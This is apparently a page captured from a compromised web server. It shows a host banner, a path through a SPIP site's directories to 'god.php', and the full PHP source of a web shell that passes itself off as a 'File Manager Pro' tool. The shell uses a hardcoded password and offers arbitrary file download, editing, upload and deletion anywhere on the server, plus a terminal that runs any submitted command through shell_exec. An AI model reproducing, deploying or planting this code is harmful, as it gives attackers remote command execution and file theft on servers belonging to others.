uawdijnntqw1x1x1
IP : 216.73.216.146
Hostname : webm008.cluster111.gra.hosting.ovh.net
Kernel : Linux webm008.cluster111.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
bourgleram
/
www
/
local
/
cache-css
/
..
/
..
/
ecrire
/
publictmp
/
..
/
plugins
/
..
/
install
/
..
/
..
/
god.php
/
/
<?php session_start(); // ========================================== // PENGATURAN PASSWORD & UTAMA // ========================================== $PASSWORD = 'admin123'; // Matikan tampilan error di browser (agar tidak blank) error_reporting(E_ALL); ini_set('display_errors', 0); // error hanya di log, tidak ke output // Proses Logout if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; } // Proses Login if (isset($_POST['login_password'])) { if ($_POST['login_password'] === $PASSWORD) { $_SESSION['logged_in'] = true; } else { $error_login = "Password salah!"; } } // Cek Apakah Sudah Login $is_logged_in = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true; // Jika belum login, tampilkan halaman login if (!$is_logged_in): ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login - File Manager Pro</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-900 flex items-center justify-center h-screen"> <div class="bg-white p-8 rounded-xl shadow-md w-full max-w-md"> <h2 class="text-2xl font-bold text-gray-800 mb-6 text-center">📁 Pro File Manager</h2> <?php if (isset($error_login)): ?> <div class="mb-4 p-3 bg-red-100 text-red-700 text-sm rounded-lg"><?= htmlspecialchars($error_login) ?></div> <?php endif; ?> <form action="" method="POST" class="space-y-4"> <div> <label class="block text-sm font-medium text-gray-700 mb-1">Masukkan Password</label> <input type="password" name="login_password" required class="w-full border border-gray-300 rounded-md p-2.5 focus:outline-none focus:ring-2 focus:ring-blue-500"> </div> <button type="submit" class="w-full bg-blue-600 text-white p-2.5 rounded-md font-semibold hover:bg-blue-700 transition">Masuk</button> </form> </div> </body> </html> <?php exit; endif; // ========================================== // LOGIK FILE MANAGER & SISTEM // ========================================== // Direktori awal (fallback aman) $INITIAL_DIR = realpath('.') ?: __DIR__; // Menentukan direktori aktif dengan validasi ketat if (isset($_POST['goto_dir'])) { $requested_dir = $_POST['goto_dir']; $dir = is_dir($requested_dir) ? realpath($requested_dir) : $INITIAL_DIR; } else { $dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $INITIAL_DIR; } // Jika path tidak valid, fallback ke direktori awal if (!$dir || !is_dir($dir)) { $dir = $INITIAL_DIR; } $message = ''; $terminal_output = ''; // Aksi 1: Download File (Stream) if (isset($_GET['download'])) { $download_path = realpath($_GET['download']); if ($download_path && is_file($download_path) && is_readable($download_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($download_path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($download_path)); readfile($download_path); exit; } else { $message = "File tidak ditemukan atau tidak dapat diakses."; } } // Aksi 2: Simpan Hasil Edit File if (isset($_POST['save_file']) && isset($_POST['edit_file_path'])) { $file_to_save = $_POST['edit_file_path']; $content_to_save = $_POST['file_content']; if (file_exists($file_to_save) && is_writable($file_to_save)) { if (file_put_contents($file_to_save, $content_to_save) !== false) { $message = "File berhasil diperbarui!"; } else { $message = "Gagal menulis file."; } } else { $message = "File tidak dapat ditulis. Cek permission."; } } // Aksi 3: Upload File if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $target_file = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target_file)) { $message = "File berhasil diunggah!"; } else { $message = "Gagal mengunggah file."; } } elseif (isset($_FILES['upload_file'])) { $message = "Error upload: " . $_FILES['upload_file']['error']; } // Aksi 4: Buat Folder Baru if (isset($_POST['new_folder']) && !empty($_POST['folder_name'])) { $folder_name = trim($_POST['folder_name']); // Sanitasi nama folder (hindari path traversal) $folder_name = preg_replace('/[^a-zA-Z0-9_\-]/', '', $folder_name); if (!empty($folder_name)) { $new_folder_path = $dir . DIRECTORY_SEPARATOR . $folder_name; if (!file_exists($new_folder_path)) { if (@mkdir($new_folder_path, 0777, true)) { $message = "Folder berhasil dibuat!"; } else { $message = "Gagal membuat folder."; } } else { $message = "Folder sudah ada."; } } else { $message = "Nama folder tidak valid."; } } // Aksi 5: Hapus File atau Folder if (isset($_GET['delete'])) { $delete_path = realpath($_GET['delete']); if ($delete_path && strpos($delete_path, $dir) === 0) { // amankan agar tidak hapus di luar direktori if (is_dir($delete_path)) { if (@rmdir($delete_path)) { $message = "Folder dihapus."; } else { $message = "Gagal menghapus folder (mungkin tidak kosong)."; } } elseif (is_file($delete_path)) { if (@unlink($delete_path)) { $message = "File dihapus."; } else { $message = "Gagal menghapus file."; } } } else { $message = "Item tidak valid atau berada di luar direktori."; } header("Location: ?dir=" . urlencode($dir)); exit; } // Aksi 6: Eksekusi Perintah Terminal if (isset($_POST['terminal_cmd']) && !empty($_POST['terminal_cmd'])) { $cmd = $_POST['terminal_cmd']; // Batasi command untuk keamanan (opsional) // $cmd = escapeshellcmd($cmd); chdir($dir); if (function_exists('shell_exec')) { $terminal_output = shell_exec($cmd . " 2>&1"); if ($terminal_output === null) { $terminal_output = "Perintah tidak menghasilkan output atau error."; } } else { $terminal_output = "Fungsi shell_exec dinonaktifkan di server ini."; } } // Membaca konten file untuk teks editor jika diminta $edit_mode = false; $edit_content = ''; $edit_file_name = ''; if (isset($_GET['edit'])) { $edit_path = realpath($_GET['edit']); if ($edit_path && is_file($edit_path) && is_readable($edit_path)) { $edit_mode = true; $edit_file_name = $edit_path; $edit_content = file_get_contents($edit_path); if ($edit_content === false) { $edit_content = "Gagal membaca file."; } } else { $message = "File tidak ditemukan atau tidak dapat dibaca."; } } // Membaca daftar file dengan aman $files = []; if (is_readable($dir)) { $scanned = @scandir($dir); if ($scanned !== false) { $files = array_diff($scanned, array('.', '..')); } else { $message = "Gagal membaca direktori."; } } else { $message = "Direktori tidak dapat diakses (permission)."; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager Super Pro</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-100 font-sans text-gray-800"> <div class="max-w-6xl mx-auto p-4 sm:p-6"> <header class="mb-6 bg-white p-4 rounded-xl shadow-sm border border-gray-200 flex flex-col sm:flex-row justify-between items-start sm:items-center gap-4"> <div> <h1 class="text-2xl font-bold text-indigo-600 mb-1">📁 File Manager Ultimate</h1> <p class="text-xs text-gray-500 break-all"><strong>Direktori Aktif:</strong> <?= htmlspecialchars($dir) ?></p> </div> <a href="?logout=true" class="bg-red-500 hover:bg-red-600 text-white px-4 py-2 rounded-md text-sm font-medium transition shadow-sm">Logout</a> </header> <?php if ($message): ?> <div class="mb-4 p-3 bg-blue-100 border border-blue-300 text-blue-800 text-sm rounded-lg shadow-sm"> <?= htmlspecialchars($message) ?> </div> <?php endif; ?> <?php if ($edit_mode): ?> <div class="bg-white p-4 rounded-xl shadow-md border-2 border-amber-400 mb-6"> <div class="flex justify-between items-center mb-3"> <h2 class="text-sm font-bold text-amber-700 flex items-center gap-1">📝 Mengedit: <span class="font-normal text-gray-600 break-all"><?= htmlspecialchars(basename($edit_file_name)) ?></span></h2> <a href="?dir=<?= urlencode($dir) ?>" class="text-xs text-gray-500 hover:underline">Batal / Tutup Editor</a> </div> <form action="?dir=<?= urlencode($dir) ?>" method="POST"> <input type="hidden" name="edit_file_path" value="<?= htmlspecialchars($edit_file_name) ?>"> <textarea name="file_content" rows="12" class="w-full font-mono text-sm p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-amber-400 bg-gray-50"><?= htmlspecialchars($edit_content) ?></textarea> <div class="mt-2 flex gap-2"> <button type="submit" name="save_file" class="bg-amber-500 hover:bg-amber-600 text-white px-5 py-2 rounded-md text-sm font-semibold transition">Simpan Perubahan</button> </div> </form> </div> <?php endif; ?> <div class="bg-white p-4 rounded-xl shadow-sm border border-gray-200 mb-6"> <form action="?dir=<?= urlencode($dir) ?>" method="POST" class="flex gap-2"> <input type="text" name="goto_dir" value="<?= htmlspecialchars($dir) ?>" placeholder="Masukkan path absolut (Contoh: /var/www atau C:\)" required class="border border-gray-300 rounded-md p-2 text-sm w-full focus:outline-none focus:ring-2 focus:ring-indigo-500"> <button type="submit" class="bg-indigo-600 text-white px-5 py-2 rounded-md text-sm font-medium hover:bg-indigo-700 transition whitespace-nowrap shadow-sm">Pindah Folder</button> </form> </div> <div class="grid grid-cols-1 md:grid-cols-2 gap-4 mb-6"> <div class="bg-white p-4 rounded-xl shadow-sm border border-gray-200"> <h2 class="text-sm font-semibold text-gray-700 mb-2">Upload File</h2> <form action="?dir=<?= urlencode($dir) ?>" method="POST" enctype="multipart/form-data" class="flex gap-2"> <input type="file" name="upload_file" required class="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 file:rounded-md file:border-0 file:text-sm file:font-semibold file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100"> <button type="submit" class="bg-blue-600 text-white px-4 py-2 rounded-md text-sm font-medium hover:bg-blue-700 transition shadow-sm">Upload</button> </form> </div> <div class="bg-white p-4 rounded-xl shadow-sm border border-gray-200"> <h2 class="text-sm font-semibold text-gray-700 mb-2">Buat Folder</h2> <form action="?dir=<?= urlencode($dir) ?>" method="POST" class="flex gap-2"> <input type="text" name="folder_name" placeholder="Nama folder..." required class="border border-gray-300 rounded-md p-2 text-sm w-full focus:outline-none focus:ring-2 focus:ring-blue-500"> <button type="submit" name="new_folder" class="bg-green-600 text-white px-4 py-2 rounded-md text-sm font-medium hover:bg-green-700 transition whitespace-nowrap shadow-sm">Buat</button> </form> </div> </div> <div class="bg-white rounded-xl shadow-sm border border-gray-200 overflow-hidden mb-6"> <table class="w-full text-left border-collapse"> <thead> <tr class="bg-gray-50 border-b border-gray-200 text-xs font-semibold text-gray-600 uppercase"> <th class="p-4">Nama Item</th> <th class="p-4 w-48 text-center">Aksi Manajemen</th> </tr> </thead> <tbody class="divide-y divide-gray-100 text-sm"> <?php $parent_dir = dirname($dir); if ($parent_dir !== $dir): ?> <tr class="hover:bg-gray-50"> <td class="p-4 font-medium" colspan="2"> <a href="?dir=<?= urlencode($parent_dir) ?>" class="text-indigo-600 hover:underline flex items-center gap-1">⬅️ .. (Naik 1 Tingkat)</a> </td> </tr> <?php endif; ?> <?php if (empty($files)): ?> <tr><td class="p-8 text-center text-gray-400" colspan="2">Kosong / Tidak bisa diakses.</td></tr> <?php endif; ?> <?php foreach ($files as $file): $file_path = $dir . DIRECTORY_SEPARATOR . $file; $is_folder = is_dir($file_path); ?> <tr class="hover:bg-gray-50 transition"> <td class="p-4 flex items-center gap-2"> <?php if ($is_folder): ?> 📁 <a href="?dir=<?= urlencode($file_path) ?>" class="text-blue-600 font-medium hover:underline break-all"><?= htmlspecialchars($file) ?></a> <?php else: ?> 📄 <span class="text-gray-700 break-all"><?= htmlspecialchars($file) ?></span> <?php endif; ?> </td> <td class="p-4 text-center"> <div class="flex justify-center gap-3 text-xs font-semibold"> <?php if (!$is_folder): ?> <a href="?dir=<?= urlencode($dir) ?>&edit=<?= urlencode($file_path) ?>" class="text-amber-600 hover:text-amber-800">Edit</a> <a href="?dir=<?= urlencode($dir) ?>&download=<?= urlencode($file_path) ?>" class="text-green-600 hover:text-green-800">Download</a> <?php endif; ?> <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($file_path) ?>" onclick="return confirm('Hapus item ini?')" class="text-red-600 hover:text-red-800">Hapus</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="bg-gray-900 rounded-xl shadow-md overflow-hidden text-white border border-gray-800"> <div class="bg-gray-800 px-4 py-2 flex items-center justify-between text-xs font-mono text-gray-400 border-b border-gray-700"> <span>💻 Web Terminal Console</span> <span>Lokasi saat ini: Active Dir</span> </div> <div class="p-4"> <?php if ($terminal_output): ?> <pre class="bg-black text-green-400 font-mono text-xs p-3 rounded-md mb-3 overflow-x-auto max-h-60 whitespace-pre-wrap"><?= htmlspecialchars($terminal_output) ?></pre> <?php endif; ?> <form action="?dir=<?= urlencode($dir) ?>" method="POST" class="flex gap-2 items-center"> <span class="font-mono text-sm text-green-500">$</span> <input type="text" name="terminal_cmd" placeholder="Ketik perintah shell (misal: ls -la atau whoami)..." class="w-full bg-transparent font-mono text-sm text-white focus:outline-none border-b border-gray-700 pb-1 focus:border-green-500"> <button type="submit" class="bg-gray-700 hover:bg-gray-600 text-xs px-3 py-1.5 rounded text-gray-200 transition font-mono">Run</button> </form> </div> </div> </div> </body> </html>
/home/bourgleram/www/local/cache-css/../../ecrire/publictmp/../plugins/../install/../../god.php